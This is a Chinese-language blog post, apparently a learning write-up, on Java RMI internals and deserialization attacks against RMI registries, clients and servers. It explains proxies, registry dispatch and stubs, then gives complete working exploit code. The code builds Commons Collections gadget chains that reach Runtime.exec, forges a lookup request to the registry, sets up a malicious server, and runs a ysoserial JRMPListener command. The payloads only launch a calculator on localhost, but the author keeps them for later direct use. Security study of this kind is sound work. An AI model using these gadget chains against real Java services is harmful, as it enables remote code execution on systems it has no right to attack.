Java RMI 及其反序列化学习#
因为篇幅较长、JEP290 bypass 放在后面一篇文章中
前言#
网上已经有了很多关于此攻击的文章,作为初学者,再次写下这篇文章需要做哪些事,而不是一味的搬砖、炒冷饭
- 记录、理解关于此内容的部分概念
- 记录已有 poc、exp , 方便后续直接使用
- 在合适的地方书写自己的思考、理解、代码
- 理解攻击思路、原理、自己理出 exp , 能帮助你回答上面试问题
这篇文章是比较长的,因为我习惯把每个调试步骤都写进去,这样再二次复习的时候才好解决疑惑,但这样的缺点是无法快速获取到核心需要的信息,所以最好是在前言就把面试需要问题或者挖洞需要的知识和思路给提炼出来
Java RMI 及其反序列化学习#
0x01 RMI 基础#
RPC#
RPC(Remote Procedure Call)远程过程调用,就是要像调用本地的函数一样去调远程函数。它并不是某一个具体的框架,而是实现了远程过程调用的都可以称之为 RPC。比如 RMI (Remote Method Invoke 远程方法调用) 就是一个实现了 RPC 的 JAVA 框架.
java 代理#
代理模式#
代理模式是一种设计模式,提供了对目标对象额外的访问方式,即通过代理对象访问目标对象,这样可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能.
静态代理#
这种代理方式需要代理对象和目标对象实现一样的接口.
-
接口类: IUserDao.java
package static_proxy; public interface IUserDao { public void save(); }
-
目标对象: UserDao.java
package static_proxy; // 实现IUserDao接口 public class UserDao implements IUserDao{ @Override public void save() { System.out.println("保存数据"); } }
-
静态代理对象:UserDapProxy.java
package static_proxy; // 也需要实现IUserDao接口 public class UserDapProxy implements IUserDao{ private IUserDao target; public UserDapProxy(IUserDao target) { this.target = target; } @Override public void save() { // 重写方法 System.out.println("doSomething before"); // 执行前可以加的操作 target.save(); // 实际上需要调用的方法 System.out.println("doSomething after"); // 执行后可以加的操作 } }
-
测试类:TestProxy.java
package static_proxy; public class TestProxy { public static void main(String[] args) { // 目标对象 IUserDao target = new UserDao(); // 代理对象 UserDapProxy proxy = new UserDapProxy(target); // 通过代理调用方法 proxy.save(); } }
doSomething before
保存数据
doSomething after
可以看到在不修改原始对象的基础上,在调用方法的前后新添加了功能,其实就是先实例化目标对象,然后在新的方法中调用目标对象的目标方法,这样的缺点如下:
- 冗余,由于代理对象要实现与目标对象一致的接口,会产生过多的代理类.
- 不易维护,一旦接口增加方法,目标对象与代理对象都要进行修改.
动态代理#
动态代理利用 JAVA 中的反射,动态地在内存中构建代理对象,从而实现对目标对象的代理功能。动态代理又被称为 JDK 代理或接口代理。动态代理对象不需要实现接口,但是要求目标对象必须实现接口,否则不能使用动态代理.
-
动态代理对象:UserProxyFactory.java
package Dynamic_proxy; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class UserProxyFactory { private Object target; public UserProxyFactory(Object target) { this.target = target; } public Object getProxyInstance() { // 返回一个指定接口的代理类实例,该接口可以将方法调用指派到指定的调用处理程序。 return Proxy.newProxyInstance( target.getClass().getClassLoader(), // 指定当前目标对象使用类加载器 target.getClass().getInterfaces(), // 目标对象实现的接口的类型 new InvocationHandler() { // 事件处理器 @Override // 重写InvocationHandler类的invoke方法,通过反射调用方法 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("doSomething before"); Object returnValue = method.invoke(target, args); System.out.println("doSomething after"); return null; } } ); } }
-
测试类:TestDynamicProxy.java
package Dynamic_proxy; import static_proxy.*; public class TestDynamicProxy { public static void main(String[] args) { IUserDao target = new UserDao(); System.out.println(target.getClass()); // 获取目标对象信息 System.out.println(target.getClass().getSuperclass()); // 获取目标对象的父类 System.out.println(target.getClass().getInterfaces()); // 获取目标对象实现的接口 IUserDao proxy = (IUserDao) new UserProxyFactory(target).getProxyInstance(); // 获取代理类 System.out.println(proxy.getClass()); // 获取代理对象信息 proxy.save(); // 执行代理方法 } }
RMI#
RMI(Rmote Method Invoke)全名远程方法调用。其实就是客户端 (Client) 可以远程调用服务端 (Server) 上的方法,JVM 虚拟机能够远程调用另一个 JVM 虚拟机中的方法,但是客户端中并不是直接调用服务器上的方法的,而是会借助存根 (stub) 充当我们客户端的代理,来访问服务端,同时骨架 (Skeleton) 是另一个代理,它与真实对象一起在服务端上,骨架将接受到的请求交给服务器来处理,服务器处理完成之后将结果进行打包发送至存根 ,然后存根将结果进行解包之后的结果发送给客户端
序列化传输#
RMI 在数据传输中的对象必须要实现 java.io.Serializable 接口,因为传输过程中都是进行序列化进行传输并且客户端的 serialVersionUID 字段要与服务器端保持一致。下图中的aced
就是反序列化的标志
RMI 主要构成部分#
RMI 的主要由三部分组成
- RMI Registry 注册表:服务实例将被注册表注册到特定的名称中(可以理解为电话簿)
- RMI Server 服务端
- RMI Client 客户端:客户端通过查询注册表来获取对应名称的对象引用,以及该对象实现的接口
首先我们的 RMI Client 会远程连接 RMI Registry(默认端口 1099),然后会在 Registry 寻找名字为 Test 的对象 (假设此时客户端要调用 Test 对象中的某个方法),Registry 会寻找对应名字的远程对象引用,并且序列化后进行返回(数据内容就是远程对象的地址,这里返回的对象就是前文提到的存根 stub),客户端在接受到之后首先会在本机中的 classpath 进行查找,如果没有找到则说明是远程对象,客户端就会与远程地址进行 tcp 连接。
存根 (Stub) 和骨架 (Skeleton)#
当 RMI Server 启动的时候端口是被随机分配的,但是我们的 RMI Registry 端口是知道的
- 客户端通过远程连接 Registry 获取存根 (Stub),存根 (Stub) 中包含了远程对象的定位信息,如 Socket 端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节。
- 由于存根 (Stub) 是客户端的代理类,所以客户端可以调用 Stub 上的方法
- Stub 远程连接到服务器,提交对应的参数
- 骨架 (Skeleton) 收到数据并对其进行反序列化,然后将发送给我们的 Server
- Server 执行之后将结果进行打包,传输给 Client
0x02 RMI Demo#
Server#
- 编写一个实现 Remote 的接口
- 编写一个继承于 UnicastRemoteObject 的接口实现类
远程对象的实现类必须要继承自 UnicastRemoteObject,只有继承了才能表示该类是一个远程对象,如果不继承的话我们就需要手动调用类中的 exportObject 静态方法
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote {
String RmiDemo(String cmd) throws Exception;
}
public class RMIInstance extends UnicastRemoteObject implements RMIinterface {
protected RMIInstance() throws RemoteException {
super();
}
@Override
public String RmiDemo(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
return "+OK";
}
}
}
Registry#
RMI Registry 就像一个 RMI 电话簿,你可以使用 Registry 来查找另一台主机上注册的远程对象的引用,我们可以在上面注册一个 Name 到对象的绑定关系,但是 Registry ⾃己是不会执行远程⽅法的,RMI Client 通过 Name 向 RMI Registry 查询,得到这个绑定关系,然后再连接 RMI Server,最后远程方法实际上在 RMI Server 上调用的。
// 创建并运行了Registry服务,且端口为1099
LocateRegistry.createRegistry(1099);
// Naming.bind 进行绑定,将rmIinterface对象绑定到Exp这个名字上, 第一个参数为一个为url,第二个参数则是我们的对象
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
将 Server 和 Registry 进行组合:
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote {
String RmiDemo(String cmd) throws Exception;
}
public class RMIInstance extends UnicastRemoteObject implements RMIinterface {
protected RMIInstance() throws RemoteException {
super();
}
@Override
public String RmiDemo(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
return "+OK";
}
}
public void start() throws Exception {
RMIinterface rmIinterface =new RMIInstance();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
}
public static void main(String[] args) throws Exception {
new server().start();
}
}
Client#
利用 Naming.lookup 找到对应的实例,然后调用方法,将 open -a Calculator 作为参数进行传入
import java.rmi.Naming;
public class client {
public static void main(String[] args) throws Exception{
server.RMIinterface rmIinterface = (server.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/Exp");
String res = rmIinterface.RmiDemo("open -a Calculator");
System.out.println(res);
}
}
RMI 通信(Wireshark)#
在整个 RMI 通信流程中一共会进行两次 TCP 连接
- 第一次会和 Registry:1099 建立一次 TCP 连接,Registry 返回存根(Stub)
- 第二次获取到 Server 的地址后 (127.0.0.1:53763),利用存根调用远程方法进行第二次 TCP 连接,所以方法调用就是在该 TCP 通信中
0x03 RMI 带来的安全问题#
调用远程恶意方法#
既然我们能够利用 RMI 机制直接调用远程方法,如果在 Server 端存在某些恶意方法,并且恰好又在 Registry 中注册了,那么我们岂不是可以直接调用远程恶意方法进行攻击?通常 RMI Registry 的默认端口为 1099,那么在我们能够访问到 RMI Registry 的情况下我们可以做什么?
- 尝试绑定恶意对象 答案是不可以,只有来源地址是 localhost 的时候,才能调用 rebind、 bind、unbind 方法,但是我们可以使用 list 和 lookup 方法
- 利用 RMI 服务器上存在的恶意方法进行命令执行 我们可以首先通过 list 列出所有的对象引用,然后只要目标服务器上存在一些危险方法,我们通过 RMI 就可以对其进行调用,之前曾经有一个工具,其中一个功能就是进行危险方法的探测https://github.com/NickstaDB/BaRMIe
利用 codebase 执行命令#
简单来说 codebase 就是远程加载类的路径,当对象在发送序列化的数据的时候会带上 codebase 信息,当接受方在本地 classpath 中没有找到类的话,就会去 codebase 所指向的地址加载类
在 RMI 中,我们是可以将 codebase 随着序列化数据一起传输的,服务器在接收到这个数据后就会去 CLASSPATH 和指定的 codebase 寻找类,由于 codebase 被控制导致任意命令执行漏洞。
指定 codebase 方法:
java -Djava.rmi.server.codebase=http://url:8080/
#或者
java -Djava.rmi.server.codebase=http://url:8080/xxx.jar
同时,也可以在代码中通过System.setProperty()
来设置系统属性值
System.setProperty("java.rmi.server.codebase", "<http://url:8080/>");
所以官方也注意到了这一个安全隐患,所以只有满足如下条件的 RMI 服务器才能被攻击:
- 由于
Java SecurityManager
的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要启动RMISecurityManager
并且配置java.security.policy
。 - Java 版本低于 7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false
其中 java.rmi.server.useCodebaseOnly 是在 Java 7u21、6u45 的时候修改的一个默认设置:
https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html
https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
官方将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true 。在 java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java 虚拟机将只信任预先配置好的 codebase ,不再支持从 RMI 请求中获取。
RMI 反序列化攻击#
RMI 的核心之一就是动态类加载。不管是 Client,Server 还是 Registry,当需要操作远程对象的时候,就势必会涉及到序列化和反序列化,假如某一端调用了重写的readObject()
方法,那么我们就可以进行反序列化攻击了。
RMI 交互方式#
既然是反序列化,那就需要去寻找反序列化点,又是在 RMI 进行通讯的过程中,我们需要了解与各个对象交互的函数,先看与注册中心交互的几种方式
在 RMI 过程中,常常会涉及到以下 5 个交互方式,这几种方法位于RegistryImpl_Skel.dispatch()
中,每种方式对应的 case 如下
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
list
list 方法用来列出 Registry 上绑定的远程对象
case 1:
var2.releaseInputStream();
String[] var79 = var6.list();
try {
ObjectOutput var81 = var2.getResultStream(true);
var81.writeObject(var79);
break;
} catch (IOException var75) {
throw new MarshalException("error marshalling return", var75);
}
没有readObject()
无法利用
bind&rebind
bind
方法用来在 Registry 上绑定一个远程对象,rebind
方法和bind
方法类似
case 0:
RegistryImpl.checkAccess("Registry.bind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var80);
try {
var2.getResultStream(true);
break;
} catch (IOException var76) {
throw new MarshalException("error marshalling return", var76);
}
case 3:
RegistryImpl.checkAccess("Registry.rebind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var70) {
throw new UnmarshalException("error unmarshalling arguments", var70);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var80);
try {
var2.getResultStream(true);
break;
} catch (IOException var69) {
throw new MarshalException("error marshalling return", var69);
}
可以看到bind
和rebind
方法中都含有readObject()
方法。如果服务端调用了bind
和rebind
方法,并且安装了存在反序列化漏洞的相关组件,那么这时候我们就可以进行反序列化攻击。
lookup&unbind
lookup
方法用于获取 Registry 上的一个远程对象,unbind
用于解绑一个远程对象
case 2:
try {
var8 = var2.getInputStream();
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var73) {
throw new UnmarshalException("error unmarshalling arguments", var73);
} finally {
var2.releaseInputStream();
}
var80 = var6.lookup(var7);
try {
ObjectOutput var82 = var2.getResultStream(true);
var82.writeObject(var80);
break;
} catch (IOException var72) {
throw new MarshalException("error marshalling return", var72);
}
case 4:
RegistryImpl.checkAccess("Registry.unbind");
try {
var8 = var2.getInputStream();
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var67) {
throw new UnmarshalException("error unmarshalling arguments", var67);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var66) {
throw new MarshalException("error marshalling return", var66);
}
可以看到这两个方法都含有readObject()
,不过为String
类,这里我们不能直接利用,可以伪造连接请求进行利用。
攻击注册中心#
服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用。
bind 和 rebind
服务端代码:
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User{
protected UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
}
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url,user);
System.out.println("RMI server is running");
}
}
客户端:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
registry.bind("test",r);
}
}
重点关注:
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
因为调用bind()
的时候无法传入AnnotationInvocationHandler
类的对象,必须要转为 Remote 类才行,Remote.class.cast 这里实际上是将一个代理对象转换为了 Remote 对象:
Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler)
上述代码中创建了一个代理对象,这个代理对象代理了 Remote.class 接口,handler 为我们的 handler 对象。当调用这个代理对象的一切方法时,最终都会转到调用 handler 的 invoke 方法。
而 handler 是 InvocationHandler 对象,所以当 r 被反序列化时,会进入 InvocationHandler 对象的 invoke 方法,在其 invoke 方法里,同样会触发 memberValues 的 get 方法,此时的 memberValues 是 proxy_map,其也是一个代理类对象,所以会继续触发 proxy_map 的 invoke 方法,后边的就是 cc1 的前半段内容了。
但是为什么这里又要先包装一层代理对象,而不是直接转为 Remote 类型
Remote.class.cast 可以参考:关于 JAVA 中的 Class.cast 方法 这个方法的作用就是强制转换类型。反序列化过程参考:序列化和反序列化
但是这里相当于是客户端也在 127.0.0.1 上,所以才能 bind 一个恶意对象;实际在远程是无法进行 bind 的。
unbind&lookup
这里只能传入一个 String,有两种利用方式:
- 伪造连接请求
- rasp hook 请求代码,修改发送数据
我们是先通过 getRegistry 得到 Registry_Stub 对象,然后才能调用 lookup 的,跟进一下:
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this,operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
由于参数 var1 只能为 String 类,所以我们需要自己伪造实现 lookup 方法,并在var3.writeObject(var1);
中将我们的恶意类传入。
我们可以模仿它重写一个 lookup ,将恶意对象赋值给 var1 传入。
POC:
package rmi.attack_reg;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class client2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}
看似并没有使用 lookup 方法,实则是通过伪造了 lookup 请求,重要的并不是 lookup 方法,主要是通过这个传输信息,再进入到之前提到的 dispatch 对应的分支进行反序列化。所以这个其实也不算是一种攻击方法,只是一个思路。
攻击 Client 端#
除了 unbind 和 rebind,其他的都会返回数据给客户端,此时的数据是序列化的数据,所以客户端自然也会反序列化,那么我们只需要伪造注册中心的返回数据,就可以达到攻击客户端的效果。
注册中心攻击客户端
这里 yso 的 JRMPListener 已经做好了,命令如下:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app'
除了list()
之外,其余的操作都可以进行利用:
list()
bind()
rebind()
unbind()
lookup()
原理都大差不差,看到RegistryImpl_Stub.java#list
newCall
就是建立一个新的 TCP 连接方便后续的远程调用,这里对应registry.list();
, 我们想 list registry , ref.invoke
中this.releaseOutputStream();
会向 registry 发送这个请求,this.getInputStream();
获取registry返回的数据
存储到this.in
中,然后下面会执行 readobject 触发攻击
服务端攻击客户端
服务端攻击客户端,可以分为以下两种情景。
- 可以使用 codebase
- 服务端返回参数为 Object 对象
这里只看第二种,因为第一种前面已经说过,很难利用。
当服务端返回一个 Object 对象给客户端的时候,客户端会对这个 Object 对象反序列化,当远程调用某个方法的时候,返回的是一个 Object 对象接口
接口
import java.rmi.Remote;
public interface User extends Remote {
public Object getUser() throws Exception;
}
恶意 UserImpl:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User {
public LocalUser() throws RemoteException {
super();
}
public Object getUser() throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Retention.class, outmap);
return instance;
}
}
恶意服务端:
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser();
Registry registry = LocateRegistry.createRegistry(8888);
registry.bind("user",liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
客户端
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();
}
}
就是调用远程方法的结果返回了一个 Object 对象,然后返回到客户端的时候进行反序列化
攻击 Server 端#
当客户端需要调用的远程方法的参数中含有 Object 类,此时 Client 可以发送一个恶意的对象。由于远程对象是以序列化形式进行传输的,Server 端接收的时候势必会对其进行反序列化。如果 Server 端恰好安装了含有漏洞的组件,此时我们就可以进行攻击,下面我们来模拟一下。
其实这种方法本质还是传递给 Server 一个恶意对象,并且有以下利用条件
- Server 端有能够传递 Object 对象的远程方法
- Server 端安装有包含反序列化漏洞的相关组件
服务端
package rmi.attack_server;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(3333);
User user = new UserImpl();
registry.bind("User", user);
System.out.println("rmi start at 3333");
}
}
package rmi.attack_server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
package rmi.attack_server;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// java.rmi.server.UnicastRemoteObject构造函数中将生成stub和skeleton
public class UserImpl extends UnicastRemoteObject implements User{
// 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
public UserImpl() throws RemoteException{
super();
}
@Override
public String name(String name) throws RemoteException{
return name;
}
@Override
public void say(String say) throws RemoteException{
System.out.println("you speak " + say);
}
@Override
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}
客户端
package rmi.attack_server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:3333/User";
User userClient = (User)Naming.lookup(url);
System.out.println(userClient.name("test"));
userClient.say("world");// 这里会在server端输出
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
这里在调试的时候其实遇到点问题,因为这里是去攻击 Server 端,所以我们需要重点关注的地方是和 Server 交互的地方,所以可以在UserImpl#dowork
处下断点,但是当我在 client 处 debug 时发现,并不能跳到UserImpl#dowork
处,请教了下 zjj, 发现需要在 Server 处 debug, 因为他们属于是两个进程,dowork 执行的时候,其实就是 server 在等待 client 传输数据过来,所以需要在 server 处 debug, 调用栈如下:
dowork:22, UserImpl (rmi.attack_server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1391780250 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
这里肯定是去重点关注UnicastServerRef#dispatch
dispatch
函数的作用是处理远程调用。它接收两个参数:一个是远程对象 var1
, 另一个是远程调用对象 var2
.
var1
是一个Remote
类型的对象,表示远程对象。它是服务器端的实际远程对象实例。var2
是一个RemoteCall
类型的对象,表示远程调用。它封装了客户端对远程对象方法的调用,包括输入和输出流。
简而言之,var1
